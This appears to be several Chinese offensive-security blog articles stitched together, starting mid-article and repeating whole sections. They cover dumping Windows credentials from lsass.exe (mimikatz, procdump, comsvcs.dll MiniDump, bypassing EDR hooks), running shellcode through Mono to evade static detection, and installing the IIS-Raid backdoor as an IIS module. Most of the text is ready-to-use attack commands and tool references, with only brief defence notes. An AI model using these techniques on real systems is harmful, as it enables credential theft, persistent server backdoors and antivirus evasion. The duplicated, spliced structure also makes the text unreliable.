2.通过lsass.exe进程的dmp文件导出凭据

(1)获得lsass.exe进程的dmp文件

procdump

命令如下:

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

c++实现

https://github.com/killswitch-GUI/minidump-lib

powershell实现

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1

c#实现

https://github.com/GhostPack/SharpDump

使用comsvcs.dll

示例参数如下:

rundll32 C:\windows\system32\comsvcs.dll, MiniDump 808 C:\test\lsass.dmp full

注:使用comsvcs.dll的方法可参考之前的分析文章《MiniDumpWriteDump via COM+ Services DLL》的利用测试

以上方法在原理上都是通过API MiniDumpWriteDump()获得进程的dmp文件。

而某些安全产品已经开始拦截这种行为,拦截的方法如下:

通过用户模式下的API hook,使用跳转(JMP)命令将NtReadVirtualMemory()的前5个字节修改为指向另一个内存地址。

绕过思路:

使用正确的命令覆盖被修改的前5个字节或是重写一个NtReadVirtualMemory()

参考资料:

https://medium.com/@fsx30/bypass-edrs-memory-protection-introduction-to-hooking-2efb21acffd6

开源工具:

https://github.com/outflanknl/Dumpert

(2)从dmp文件导出凭据

成功获得了lsass.exe进程的dmp文件后,可以借助mimikatz导出凭据,命令如下:

mimikatz.exe log "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

0x03 限制上传文件长度时导出凭据的方法

如果实际的测试环境对上传文件的长度做了限制,这里给出我的解决方法:上传.cs文件,借助测试环境默认安装的.Net环境,使用csc.exe进行编译

为了应对不同的测试环境,使用的代码应该支持.Net 3.5以及更高版本。

1.使用c#实现的mimikatz直接导出凭据

Casey Smith已经实现了在c#文件中加载mimikatz,目前可供参考的代码地址:

https://github.com/re4lity/subTee-gits-backups/blob/master/PELoader.cs

需要注意的是这个代码封装的mimikatz版本为mimikatz 2.0 alpha (x64) release "Kiwi en C" (Aug 17 2015 00:14:48)。

这个版本在执行命令sekurlsa::logonpasswords时导出的结果不全,默认无法导出hash。

于是我在此基础上将mimikatz替换到新版本:mimikatz 2.1.1 (x64) built on Sep 25 2018 15:08:14

替换的方法是先将新版的mimikatz.exe进行Gzip压缩,再转换成base64编码,最后修改字符串KatzCompressed中的内容。

生成新字符串KatzCompressed内容的c#代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/GzipandBase64.cs

可以通过csc.exe对其进行编译,支持.Net 3.5以及更高版本。

代码执行后将生成的文件base64.txt中的内容替换字符串KatzCompressed。

替换字符串后,实现升级mimikatz版本的PELoader.cs我也上传到了github,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/PELoaderofMimikatz.cs

可以通过csc.exe对其进行编译,支持.Net 3.5以及更高版本。

编译命令:

C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe PELoaderofMimikatz.cs /unsafe

or

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe PELoaderofMimikatz.cs /unsafe

导出凭据的命令:

PELoaderofMimikatz.exe log "privilege::debug" "sekurlsa::logonPasswords full" exit

注:需要经过简单的修改,在程序中提前传入要执行的命令,可以使用InstallUtil.exe导出凭据,命令如下:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoaderofMimikatzAuto.exe

通过这种方法,可以将.cs文件上传至目标测试环境,然后使用目标测试环境自带的.Net进行编译。

2.使用c#实现的代码获得lsass.exe进程的dmp文件

类似的开源代码有很多,我在SafetyKatz的基础上做了简单的修改。

修改后的代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/DumpLsass.cs

可以通过csc.exe对其进行编译,支持.Net 3.5以及更高版本。

代码执行后在当前路径生成lsass.exe进程的dmp文件。

获得了dmp文件后可以将其下载到本地再使用mimikatz导出凭据。

0x04 限制下载文件长度时导出凭据的方法

如果实际的测试环境对下载文件的长度做了限制(有时lsass.exe进程的dmp文件压缩后也有上百MB)。

这里最简单的解决方法是对mimikatz做二次封装(删除不必要的功能,避免被查杀),在目标测试环境上从lsass.exe进程的dmp文件中导出凭据。

这里可以参考SafetyKatz,地址如下:

https://github.com/GhostPack/SafetyKatz

SafetyKatz对mimikatz进行了二次修改并封装到字符串中,参照了Casey Smith在c#文件中加载mimikatz的方法,实现以下功能:

1.获得lsass.exe进程的dmp文件并保存到temp目录

2.从dmp文件导出凭据

3.删除dmp文件

我们可以在SafetyKatz的源码中加入以下代码把封装好的exe进行还原

				FileStream fs = new FileStream(@"C:\test\1.exe", FileMode.Create);
                fs.Write(unpacked, 0, unpacked.Length);
                fs.Flush();
                fs.Close();

可以看到封装的exe是修改过的mimikatz,默认会执行一些命令,如下图

Alt text

我对SafetyKatz的代码做了简单的调整,使其支持.Net 3.5以及更高版本

修改后的代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/SafetyKatz.cs

编译命令:

C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe SafetyKatz.cs /unsafe

or

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe SafetyKatz.cs /unsafe

0x05 防御检测

利用的前提是攻击者已获得了系统的管理员权限,获得lsass.exe进程的dmp文件最终会调用NtReadVirtualMemory(),可以尝试对此进行监控。

0x06 小结

本文介绍了不同环境下从lsass.exe进程导出凭据的方法,结合利用思路,给出防御建议。

0x00 前言

本文将要结合自己的经验,介绍不同环境下从lsass.exe进程导出凭据的方法,结合利用思路,给出防御建议。

0x01 简介

本文将要介绍以下内容:

· 从lsass.exe进程导出凭据的常用方法。

· 限制上传文件长度时导出凭据的方法。

· 限制下载文件长度时导出凭据的方法。

0x02 从lsass.exe进程导出凭据的常用方法

1.使用mimikatz直接导出凭据

直接从lsass.exe进程的内存中导出凭据,命令如下:

mimikatz.exe log "privilege::debug" "sekurlsa::logonPasswords full" exit

通常这种方式会被安全产品拦截。

2.通过lsass.exe进程的dmp文件导出凭据

(1)获得lsass.exe进程的dmp文件

procdump

命令如下:

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

c++实现

https://github.com/killswitch-GUI/minidump-lib

powershell实现

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1

c#实现

https://github.com/GhostPack/SharpDump

使用comsvcs.dll

示例参数如下:

rundll32 C:\windows\system32\comsvcs.dll, MiniDump 808 C:\test\lsass.dmp full

注:使用comsvcs.dll的方法可参考之前的分析文章《MiniDumpWriteDump via COM+ Services DLL》的利用测试

以上方法在原理上都是通过API MiniDumpWriteDump()获得进程的dmp文件。

而某些安全产品已经开始拦截这种行为,拦截的方法如下:

通过用户模式下的API hook,使用跳转(JMP)命令将NtReadVirtualMemory()的前5个字节修改为指向另一个内存地址。

绕过思路:

使用正确的命令覆盖被修改的前5个字节或是重写一个NtReadVirtualMemory()

参考资料:

https://medium.com/@fsx30/bypass-edrs-memory-protection-introduction-to-hooking-2efb21acffd6

开源工具:

https://github.com/outflanknl/Dumpert

如果这种方法仍然失败,可以尝试使用RPC控制lsass加载SSP的方式向lsass.exe进程注入dll,由dll来实现dump的功能。

使用RPC控制lsass加载SSP可参考XPN开源的代码:

https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e

对此的分析文章《Mimikatz中SSP的使用》

由dll来实现dump的功能可参考以下代码:

https://github.com/outflanknl/Dumpert/blob/master/Dumpert-DLL/Outflank-Dumpert-DLL/Dumpert.c

(2)从dmp文件导出凭据

成功获得了lsass.exe进程的dmp文件后,可以借助mimikatz导出凭据,命令如下:

mimikatz.exe log "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

0x03 限制上传文件长度时导出凭据的方法

如果实际的测试环境对上传文件的长度做了限制,这里给出我的解决方法:上传.cs文件,借助测试环境默认安装的.Net环境,使用csc.exe进行编译

为了应对不同的测试环境,使用的代码应该支持.Net 3.5以及更高版本。

1.使用c#实现的mimikatz直接导出凭据

Casey Smith已经实现了在c#文件中加载mimikatz,目前可供参考的代码地址:

https://github.com/re4lity/subTee-gits-backups/blob/master/PELoader.cs

需要注意的是这个代码封装的mimikatz版本为mimikatz 2.0 alpha (x64) release "Kiwi en C" (Aug 17 2015 00:14:48)。

这个版本在执行命令sekurlsa::logonpasswords时导出的结果不全,默认无法导出hash。

于是我在此基础上将mimikatz替换到新版本:mimikatz 2.1.1 (x64) built on Sep 25 2018 15:08:14

替换的方法是先将新版的mimikatz.exe进行Gzip压缩,再转换成base64编码,最后修改字符串KatzCompressed中的内容。

生成新字符串KatzCompressed内容的c#代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/GzipandBase64.cs

可以通过csc.exe对其进行编译,支持.Net 3.5以及更高版本。

代码执行后将生成的文件base64.txt中的内容替换字符串KatzCompressed。

替换字符串后,实现升级mimikatz版本的PELoader.cs我也上传到了github,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/PELoaderofMimikatz.cs

可以通过csc.exe对其进行编译,支持.Net 3.5以及更高版本。

编译命令:

C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe PELoaderofMimikatz.cs /unsafe

or

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe PELoaderofMimikatz.cs /unsafe

导出凭据的命令:

PELoaderofMimikatz.exe log "privilege::debug" "sekurlsa::logonPasswords full" exit

注:需要经过简单的修改,在程序中提前传入要执行的命令,可以使用InstallUtil.exe导出凭据,命令如下:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoaderofMimikatzAuto.exe

通过这种方法,可以将.cs文件上传至目标测试环境,然后使用目标测试环境自带的.Net进行编译。

2.使用c#实现的代码获得lsass.exe进程的dmp文件

类似的开源代码有很多,我在SafetyKatz的基础上做了简单的修改。

修改后的代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/DumpLsass.cs

可以通过csc.exe对其进行编译,支持.Net 3.5以及更高版本。

代码执行后在当前路径生成lsass.exe进程的dmp文件。

获得了dmp文件后可以将其下载到本地再使用mimikatz导出凭据。

0x04 限制下载文件长度时导出凭据的方法

如果实际的测试环境对下载文件的长度做了限制(有时lsass.exe进程的dmp文件压缩后也有上百MB)。

这里最简单的解决方法是对mimikatz做二次封装(删除不必要的功能,避免被查杀),在目标测试环境上从lsass.exe进程的dmp文件中导出凭据。

这里可以参考SafetyKatz,地址如下:

https://github.com/GhostPack/SafetyKatz

SafetyKatz对mimikatz进行了二次修改并封装到字符串中,参照了Casey Smith在c#文件中加载mimikatz的方法,实现以下功能:

1.获得lsass.exe进程的dmp文件并保存到temp目录

2.从dmp文件导出凭据

3.删除dmp文件

我们可以在SafetyKatz的源码中加入以下代码把封装好的exe进行还原

				FileStream fs = new FileStream(@"C:\test\1.exe", FileMode.Create);
                fs.Write(unpacked, 0, unpacked.Length);
                fs.Flush();
                fs.Close();

可以看到封装的exe是修改过的mimikatz,默认会执行一些命令,如下图

Alt text

我对SafetyKatz的代码做了简单的调整,使其支持.Net 3.5以及更高版本

修改后的代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/SafetyKatz.cs

编译命令:

C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe SafetyKatz.cs /unsafe

or

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe SafetyKatz.cs /unsafe

0x05 防御检测

利用的前提是攻击者已获得了系统的管理员权限,获得lsass.exe进程的dmp文件最终会调用NtReadVirtualMemory(),可以尝试对此进行监控。

0x06 小结

本文介绍了不同环境下从lsass.exe进程导出凭据的方法,结合利用思路,给出防御建议。

0x00 前言

在上篇文章《通过Boolang语言执行shellcode的利用分析》介绍了利用Boolang语言执行shellcode的方法,本文将按照同样的思路,使用Mono(跨平台.NET运行环境)实现执行shellcode的功能,分析利用思路,给出防御建议。

0x01 简介

· Mono简介

· Mono使用示例

· 通过Mono执行shellcode的方法

· 利用分析

· 防御检测

0x02 Mono简介

参考资料:

https://www.mono-project.com/

https://github.com/mono/mono

Mono是Microsoft .NET Framework的开源实现。

包括C#编译器和通用语言架构。

Mono项目不仅可以运行于Windows系统上,还可以运行于Linux,FreeBSD,Unix,OS X和Solaris。

0x03 Mono使用示例

开发环境: Win7x64

下载Mono安装包,地址如下:

https://www.mono-project.com/download/stable/#download-win

默认安装路径:C:\Program Files\Mono\

1.编译程序输出hello world

HelloWorld.cs的内容如下:

using System;

public class HelloWorld
{
    public static void Main(string[] args)
    {
        Console.WriteLine ("Hello Mono World");
    }
}

使用mcs.exe进行编译,命令如下:

"C:\Program Files\Mono\bin\mcs" HelloWorld.cs

生成HelloWorld.exe。

2.编译程序调用Messagebox

Messagebox.cs的内容如下:

using System;
using System.Windows.Forms;
namespace MessageboxTest
{
    class Program
    {
        static void Main(string[] args)
        {          
            MessageBox.Show("Hello World");
        }
    }
}

使用mcs.exe进行编译,命令如下:

"C:\Program Files\Mono\bin\mcs" Messagebox.cs -r:System.Windows.Forms.dll

注:

需要加-r参数指定引用的dll,否则报错提示如下:

Messagebox.cs(2,22): error CS0234: The type or namespace name `Forms' does not exist in the namespace `System.Windows'. Are you missing `System.Windows.Forms' assembly reference?
Compilation failed: 1 error(s), 0 warnings

3.编译程序执行shellcode

Shellcode.cs已上传至GitHub,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/Shellcode.cs

使用mcs.exe进行编译,命令如下:

"C:\Program Files\Mono\bin\mcs" Shellcode.cs

生成Shellcode.exe。

0x04 通过Mono执行shellcode的方法

在0x03简单介绍了使用mcs.exe编译程序的方法。

这一节着重介绍利用Mono的特性绕过静态检测的方法。

1.将启动shellcode的代码和payload分离

(1)将payload作base64加密并保存在文件中

部分示例代码如下:

using System.IO;
byte[] shellcode64 = new byte[276] {xxx};
String AsBase64String = Convert.ToBase64String(shellcode64);
StreamWriter sw = new StreamWriter(@"C:\test\ShellcodeBase64.txt");
sw.Write(AsBase64String);
sw.Close()

base64编码后的payload已上传至GitHub,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/ShellcodeBase64.txt

(2)从指定文件读取payload,作base解密后加载shellcode

实现代码已上传至GitHub,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/ReadShellcode.cs

2.使用csc将生成的文件编译成只能通过Mono加载的形式

使用mcs编译出来的程序可以直接运行,这有可能被查杀。

使用csc进行编译可选的选项更多,我在csc帮助文件中发现可以生成只能通过Mono加载的形式,参数说明如下:

-target:appcontainerexe       Build an Appcontainer executable (Short form: -t:appcontainerexe)

因此完整的编译命令如下:

"C:\Program Files\Mono\bin\csc" ReadShellcode.cs -target:appcontainerexe

生成文件ReadShellcode.exe,无法直接执行,只能通过Mono加载,加载的命令如下:

"C:\Program Files\Mono\bin\mono.exe" ReadShellcode.exe

3.构造精简的Mono运行环境

如果我们要在另一系统执行以上文件,不必安装Mono的安装包。

经过测试只需要以下文件:

· /bin/mono-2.0-sgen.dll

· /bin/mono.exe

· /bin/ReadShellcode.exe

· /bin/ShellcodeBase64.txt

· /lib/mono/4.5/mscorlib.dll

树形图如下图:

下载.png

注:

调用Messagebox引用System.Windows.Forms.dll时所需文件的树形图如下图:

下载 (1).png

0x05 利用分析

通过Mono(跨平台.NET运行环境)执行shellcode,有以下两个优点:

1.通过Mono.exe加载启动程序,启动程序不包括恶意的功能,payload可保存在另一个脚本文件中。

2.通过Mono能够构造一个.Net环境,这可以解决某些程序对.Net环境的依赖。

例如:

程序只能在.Net 4下运行,而当前系统不支持.Net 4,借助Mono就可以解决这个问题。

0x06 防御检测

通过跨平台.NET运行环境Mono执行shellcode,父进程为Mono.exe,值得注意。

这个技术无法绕过对程序行为的检测,所以可以通过检测进程行为的方式进行防御。

0x07 小结

本文介绍了Mono(跨平台.NET运行环境)的使用方法,分享了几种绕过静态检测的方法,分析利用思路,给出防御建议。

0x00 前言

在上篇文章《通过Boolang语言执行shellcode的利用分析》介绍了利用Boolang语言执行shellcode的方法,本文将按照同样的思路,使用Mono(跨平台.NET运行环境)实现执行shellcode的功能,分析利用思路,给出防御建议。

0x01 简介

· Mono简介

· Mono使用示例

· 通过Mono执行shellcode的方法

· 利用分析

· 防御检测

0x02 Mono简介

参考资料:

https://www.mono-project.com/

https://github.com/mono/mono

Mono是Microsoft .NET Framework的开源实现。

包括C#编译器和通用语言架构。

Mono项目不仅可以运行于Windows系统上,还可以运行于Linux,FreeBSD,Unix,OS X和Solaris。

0x03 Mono使用示例

开发环境: Win7x64

下载Mono安装包,地址如下:

https://www.mono-project.com/download/stable/#download-win

默认安装路径:C:\Program Files\Mono\

1.编译程序输出hello world

HelloWorld.cs的内容如下:

using System;

public class HelloWorld
{
    public static void Main(string[] args)
    {
        Console.WriteLine ("Hello Mono World");
    }
}

使用mcs.exe进行编译,命令如下:

"C:\Program Files\Mono\bin\mcs" HelloWorld.cs

生成HelloWorld.exe。

2.编译程序调用Messagebox

Messagebox.cs的内容如下:

using System;
using System.Windows.Forms;
namespace MessageboxTest
{
    class Program
    {
        static void Main(string[] args)
        {          
            MessageBox.Show("Hello World");
        }
    }
}

使用mcs.exe进行编译,命令如下:

"C:\Program Files\Mono\bin\mcs" Messagebox.cs -r:System.Windows.Forms.dll

注:

需要加-r参数指定引用的dll,否则报错提示如下:

Messagebox.cs(2,22): error CS0234: The type or namespace name `Forms' does not exist in the namespace `System.Windows'. Are you missing `System.Windows.Forms' assembly reference?
Compilation failed: 1 error(s), 0 warnings

3.编译程序执行shellcode

Shellcode.cs已上传至GitHub,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/Shellcode.cs

使用mcs.exe进行编译,命令如下:

"C:\Program Files\Mono\bin\mcs" Shellcode.cs

生成Shellcode.exe。

0x04 通过Mono执行shellcode的方法

在0x03简单介绍了使用mcs.exe编译程序的方法。

这一节着重介绍利用Mono的特性绕过静态检测的方法。

1.将启动shellcode的代码和payload分离

(1)将payload作base64加密并保存在文件中

部分示例代码如下:

using System.IO;
byte[] shellcode64 = new byte[276] {xxx};
String AsBase64String = Convert.ToBase64String(shellcode64);
StreamWriter sw = new StreamWriter(@"C:\test\ShellcodeBase64.txt");
sw.Write(AsBase64String);
sw.Close()

base64编码后的payload已上传至GitHub,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/ShellcodeBase64.txt

(2)从指定文件读取payload,作base解密后加载shellcode

实现代码已上传至GitHub,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/ReadShellcode.cs

2.使用csc将生成的文件编译成只能通过Mono加载的形式

使用mcs编译出来的程序可以直接运行,这有可能被查杀。

使用csc进行编译可选的选项更多,我在csc帮助文件中发现可以生成只能通过Mono加载的形式,参数说明如下:

-target:appcontainerexe       Build an Appcontainer executable (Short form: -t:appcontainerexe)

因此完整的编译命令如下:

"C:\Program Files\Mono\bin\csc" ReadShellcode.cs -target:appcontainerexe

生成文件ReadShellcode.exe,无法直接执行,只能通过Mono加载,加载的命令如下:

"C:\Program Files\Mono\bin\mono.exe" ReadShellcode.exe

3.构造精简的Mono运行环境

如果我们要在另一系统执行以上文件,不必安装Mono的安装包。

经过测试只需要以下文件:

· /bin/mono-2.0-sgen.dll

· /bin/mono.exe

· /bin/ReadShellcode.exe

· /bin/ShellcodeBase64.txt

· /lib/mono/4.5/mscorlib.dll

树形图如下图:

下载.png

注:

调用Messagebox引用System.Windows.Forms.dll时所需文件的树形图如下图:

下载 (1).png

0x05 利用分析

通过Mono(跨平台.NET运行环境)执行shellcode,有以下两个优点:

1.通过Mono.exe加载启动程序,启动程序不包括恶意的功能,payload可保存在另一个脚本文件中。

2.通过Mono能够构造一个.Net环境,这可以解决某些程序对.Net环境的依赖。

例如:

程序只能在.Net 4下运行,而当前系统不支持.Net 4,借助Mono就可以解决这个问题。

0x06 防御检测

通过跨平台.NET运行环境Mono执行shellcode,父进程为Mono.exe,值得注意。

这个技术无法绕过对程序行为的检测,所以可以通过检测进程行为的方式进行防御。

0x07 小结

本文介绍了Mono(跨平台.NET运行环境)的使用方法,分享了几种绕过静态检测的方法,分析利用思路,给出防御建议。

0x00 前言

在之前的文章《利用IIS的端口共享功能绕过防火墙》曾介绍了如下问题的解决方法: 

Windows服务器开启了IIS服务,防火墙仅允许80或443端口进行通信,那么如何在不使用webshell的前提下,实现对该服务器的远程管理?更进一步,如果只有低权限,有没有办法呢? 

本文将介绍以上问题的另一种解决方法:利用IIS的模块功能绕过防火墙。

0x01 简介

本文将要介绍以下内容:

· IIS的模块功能

· 使用c++开发模块

· 使用c#开发模块

· IIS-Raid测试

· 利用分析

· 防御检测

0x02 IIS的模块功能

自IIS7开始,开发人员可以通过模块功能(Module)来扩展IIS的功能。

参考资料:

https://docs.microsoft.com/en-gb/iis/develop/runtime-extensibility/extending-web-server-functionality-in-net

如果我们通过模块功能可以读取HTTP请求的内容并控制HTTP回复的内容,完全可以利用模块功能实现对服务器的远程管理。

IIS的模块以DLL的形式存在,加载后不会存在单独的进程。

2018年,PaloAlto Unit42发现了APT34使用这种方式作为IIS后门,将其命名为RGDoor。

本文将复现RGDoor的部分功能,着重介绍这种利用方法的检测和识别。

0x03 使用c++开发模块

参考资料:

https://docs.microsoft.com/en-gb/iis/develop/runtime-extensibility/develop-a-native-cc-module-for-iis

IIS 7.0及更高版本允许通过以两种方式开发的模块来扩展服务器:

· 托管模块(Managed Module),使用托管代码(managed code)和ASP.NET服务器可扩展性API

· 本机模块(Native Module),使用本机代码(native code)和IIS本机服务器可扩展性API

参考资料中介绍了本机模块(Native Module)的使用方法

需要注意以下问题:

· 可以使用Visual Studio进行开发

· DLL需要包含导出函数RegisterModule

· 使用CHttpModule作为模块类继承的实现

· 使用IHttpModuleFactory接口创建模块实例

1.模块开发

具体的实现代码可以参考IIS-Raid,地址如下:

https://github.com/0x09AL/IIS-Raid

代码细节可参考:

https://www.mdsec.co.uk/2020/02/iis-raid-backdooring-iis-using-native-modules/

IIS-Raid在RegisterModule函数注册了RQ_BEGIN_REQUEST和RQ_SEND_RESPONSE两个事件用来处理请求和响应。

2.模块注册

可选择以下三种方法:

(1)使用APPCMD.EXE命令行工具

(2)使用IIS Administration Tool进行界面操作

(3)修改配置文件applicationHost.config

注:在0x05中会演示方法1和方法2

0x04 使用c#开发模块

参考资料:

https://docs.microsoft.com/en-gb/iis/develop/runtime-extensibility/developing-a-module-using-net

IIS 7.0及更高版本允许通过以两种方式开发的模块来扩展服务器:

· 托管模块(Managed Module),使用托管代码(managed code)和ASP.NET服务器可扩展性API

· 本机模块(Native Module),使用本机代码(native code)和IIS本机服务器可扩展性API

参考资料中介绍了托管模块(Managed Module)的使用方法

需要注意以下问题:

· 可以使用Visual Studio进行开发

· 是一个.NET类

· 使用System.Web.IHttpModule接口

1.模块开发

具体的实现代码可以参考IIS_backdoor,地址如下:

https://github.com/WBGlIl/IIS_backdoor

代码细节可参考:

https://mp.weixin.qq.com/s/z1d3yvp14GWakyonTh_b8A

2.模块注册

可选择以下三种方法:

(1)使用APPCMD.EXE命令行工具

(2)使用IIS Administration Tool进行界面操作

(3)修改配置文件web.config

具体的使用方法还可以参考以下资料:

https://docs.microsoft.com/en-gb/iis/develop/runtime-extensibility/developing-iis-modules-and-handlers-with-the-net-framework

https://docs.microsoft.com/en-us/previous-versions/aspnet/ms227673(v=vs.100)

0x05 IIS-Raid测试

测试系统:

Windows Server 2012r2 x64(需要获得管理员权限)

IIS-Raid地址如下:

https://github.com/0x09AL/IIS-Raid

使用Visual Studio编译生成IIS-Backdoor.dll

1.后门安装

可以选择以下两种方法:

(1)使用APPCMD.EXE命令行工具

查看已安装模块的命令如下:

C:\Windows\system32\inetsrv\APPCMD.EXE list module

如下图:

image.png

安装模块的命令如下:

C:\Windows\system32\inetsrv\APPCMD.EXE install module /name:test /image:"c:\test\IIS-Backdoor.dll" /add:true

删除模块的命令如下:

C:\Windows\system32\inetsrv\APPCMD.EXE uninstall module test

(2)使用IIS Administration Tool进行界面操作

运行inetmgr.exe,进入IIS管理器

选择Modules,如下图:

untitled.png

进入后选择Configure Native Modules...,接着选择Register...,如下图:

untitled.png

填入Name和Path,如下图:

untitled.png

添加成功后,在Modules页面显示新添加的内容,如下图:

untitled.png

2.功能测试

IIS-Raid的配置文件保存在Functions.h中,包括以下内容:

#define COM_HEADER "X-Chrome-Variations"
#define PASS_FILE "C:\\Windows\\Temp\\creds.db"
#define PASSWORD "SIMPLEPASS"

COM_HEADER是用于执行后门与控制器之间的通信的标头名称

PASS_FILE是使用dump命令读取文件的位置

PASSWORD定义是将用于向后门进行身份验证的密码

(1)连接后门

命令如下:

python ./iis_controller.py  --url http://192.168.18.138/ --password SIMPLEPASS

如下图:

image.png(2)测试功能

执行cmd命令:

cmd whoami

测试如下图:

image.png

执行dump命令:

dump

默认读取文件C:\\Windows\\Temp\\creds.db中的内容

测试如下图3-3

image.png

执行shellcode:

inject shellcode.txt

shellcode.txt保存base64加密后的shellcode,加载方式为先创建进程C:\\Windows\\System32\\credwiz.exe,再进行注入

测试如下图:

image.png

0x06 利用分析

利用IIS模块作为后门具有以下特点:

· 需要先获得IIS服务器的管理员权限

· payload为dll的形式

· 通过安装模块的方式启动

· dll所在的进程为w3wp.exe

0x07 防御检测

可以通过查看Modules的方式检测IIS是否被安装后门

具体有以下两种方法:

1.使用APPCMD.EXE命令行工具

查看已安装模块的命令如下:

C:\Windows\system32\inetsrv\APPCMD.EXE list module

2.使用IIS Administration Tool进行界面操作

运行inetmgr.exe,进入IIS管理器

选择Modules

另外需要注意的是只有当模块被成功加载后,进程w3wp.exe中才能找到模块相关的dll

0x08 小结

本文对IIS的模块功能进行介绍,实现了利用IIS的模块功能绕过防火墙,测试开源工具IIS-Raid,分享防御检测的建议。

0x00 前言

在之前的文章《利用IIS的端口共享功能绕过防火墙》曾介绍了如下问题的解决方法: 

Windows服务器开启了IIS服务,防火墙仅允许80或443端口进行通信,那么如何在不使用webshell的前提下,实现对该服务器的远程管理?更进一步,如果只有低权限,有没有办法呢? 

本文将介绍以上问题的另一种解决方法:利用IIS的模块功能绕过防火墙。

0x01 简介

本文将要介绍以下内容:

· IIS的模块功能

· 使用c++开发模块

· 使用c#开发模块

· IIS-Raid测试

· 利用分析

· 防御检测

0x02 IIS的模块功能

自IIS7开始,开发人员可以通过模块功能(Module)来扩展IIS的功能。

参考资料:

https://docs.microsoft.com/en-gb/iis/develop/runtime-extensibility/extending-web-server-functionality-in-net

如果我们通过模块功能可以读取HTTP请求的内容并控制HTTP回复的内容,完全可以利用模块功能实现对服务器的远程管理。

IIS的模块以DLL的形式存在,加载后不会存在单独的进程。

2018年,PaloAlto Unit42发现了APT34使用这种方式作为IIS后门,将其命名为RGDoor。

本文将复现RGDoor的部分功能,着重介绍这种利用方法的检测和识别。

0x03 使用c++开发模块

参考资料:

https://docs.microsoft.com/en-gb/iis/develop/runtime-extensibility/develop-a-native-cc-module-for-iis

IIS 7.0及更高版本允许通过以两种方式开发的模块来扩展服务器:

· 托管模块(Managed Module),使用托管代码(managed code)和ASP.NET服务器可扩展性API

· 本机模块(Native Module),使用本机代码(native code)和IIS本机服务器可扩展性API

参考资料中介绍了本机模块(Native Module)的使用方法

需要注意以下问题:

· 可以使用Visual Studio进行开发

· DLL需要包含导出函数RegisterModule

· 使用CHttpModule作为模块类继承的实现

· 使用IHttpModuleFactory接口创建模块实例

1.模块开发

具体的实现代码可以参考IIS-Raid,地址如下:

https://github.com/0x09AL/IIS-Raid

代码细节可参考:

https://www.mdsec.co.uk/2020/02/iis-raid-backdooring-iis-using-native-modules/

IIS-Raid在RegisterModule函数注册了RQ_BEGIN_REQUEST和RQ_SEND_RESPONSE两个事件用来处理请求和响应。

2.模块注册

可选择以下三种方法:

(1)使用APPCMD.EXE命令行工具

(2)使用IIS Administration Tool进行界面操作

(3)修改配置文件applicationHost.config

注:在0x05中会演示方法1和方法2

0x04 使用c#开发模块

参考资料:

https://docs.microsoft.com/en-gb/iis/develop/runtime-extensibility/developing-a-module-using-net

IIS 7.0及更高版本允许通过以两种方式开发的模块来扩展服务器:

· 托管模块(Managed Module),使用托管代码(managed code)和ASP.NET服务器可扩展性API

· 本机模块(Native Module),使用本机代码(native code)和IIS本机服务器可扩展性API

参考资料中介绍了托管模块(Managed Module)的使用方法

需要注意以下问题:

· 可以使用Visual Studio进行开发

· 是一个.NET类

· 使用System.Web.IHttpModule接口

1.模块开发

具体的实现代码可以参考IIS_backdoor,地址如下:

https://github.com/WBGlIl/IIS_backdoor

代码细节可参考:

https://mp.weixin.qq.com/s/z1d3yvp14GWakyonTh_b8A

2.模块注册

可选择以下三种方法:

(1)使用APPCMD.EXE命令行工具

(2)使用IIS Administration Tool进行界面操作

(3)修改配置文件web.config

具体的使用方法还可以参考以下资料:

https://docs.microsoft.com/en-gb/iis/develop/runtime-extensibility/developing-iis-modules-and-handlers-with-the-net-framework

https://docs.microsoft.com/en-us/previous-versions/aspnet/ms227673(v=vs.100)

0x05 IIS-Raid测试

测试系统:

Windows Server 2012r2 x64(需要获得管理员权限)

IIS-Raid地址如下:

https://github.com/0x09AL/IIS-Raid

使用Visual Studio编译生成IIS-Backdoor.dll

1.后门安装

可以选择以下两种方法:

(1)使用APPCMD.EXE命令行工具

查看已安装模块的命令如下:

C:\Windows\system32\inetsrv\APPCMD.EXE list module

如下图:

image.png

安装模块的命令如下:

C:\Windows\system32\inetsrv\APPCMD.EXE install module /name:test /image:"c:\test\IIS-Backdoor.dll" /add:true

删除模块的命令如下:

C:\Windows\system32\inetsrv\APPCMD.EXE uninstall module test

(2)使用IIS Administration Tool进行界面操作

运行inetmgr.exe,进入IIS管理器

选择Modules,如下图:

untitled.png

进入后选择Configure Native Modules...,接着选择Register...,如下图:

untitled.png

